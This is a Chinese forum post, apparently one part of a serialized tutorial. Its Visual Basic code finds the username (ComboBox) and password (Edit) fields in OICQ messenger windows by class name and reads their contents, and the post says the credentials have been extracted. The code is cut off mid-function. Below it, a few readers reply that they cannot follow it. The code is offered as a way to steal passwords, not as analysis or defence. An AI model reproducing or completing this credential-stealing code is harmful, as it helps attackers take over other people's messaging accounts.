标题:【求助】讨教（待续）
作者:小色猫
时间:8/13 18:57
用户名、密码已顺利取出了），就调用（7）
End If
End If
End If
EnumProc = 1
End Function
（5）取得 OICQ 窗口中的用户名、密码框的类名
自定义取得子窗口类名的函数，写在 Module1.bas 文件中
我们知道 OICQ 主窗口的用户名的类名是 ComboBox，密码框的类名是 Edit，这里可以通过取得类名的办法，取得它们的句柄，从而取得它们的值。
Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
\'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = \"ComboBox\" Or Right(buf, 4) = \"Edit\" Then \'进行判断
GetZiWin = GetWinText(window_hwnd) \'调用（6），取得它们的值
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) \'取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 \'如果有子窗口
num_children = ..
下页 上页
回复本帖|发新话题
回复列表 (6)
#1 根本没人看。
[芗城土著 8/13 21:32]
#2 不是没人看是他们看不懂！~！
[小色猫 8/13 23:35]
#3 看来你是看懂了。。我怎么看的 ..
[丸子 8/13 23:58]
#4 你来了啊怎么我发的文章总被删啊
[小色猫 8/14 00:14]
#5 这个问题你已经从市长办公室问 ..
[微蓝 8/14 00:20]
#6 什么呀！！！
看不懂
[被淹的鱼儿 9/1 22:59]
<<下一主题
>>上一主题
返回版块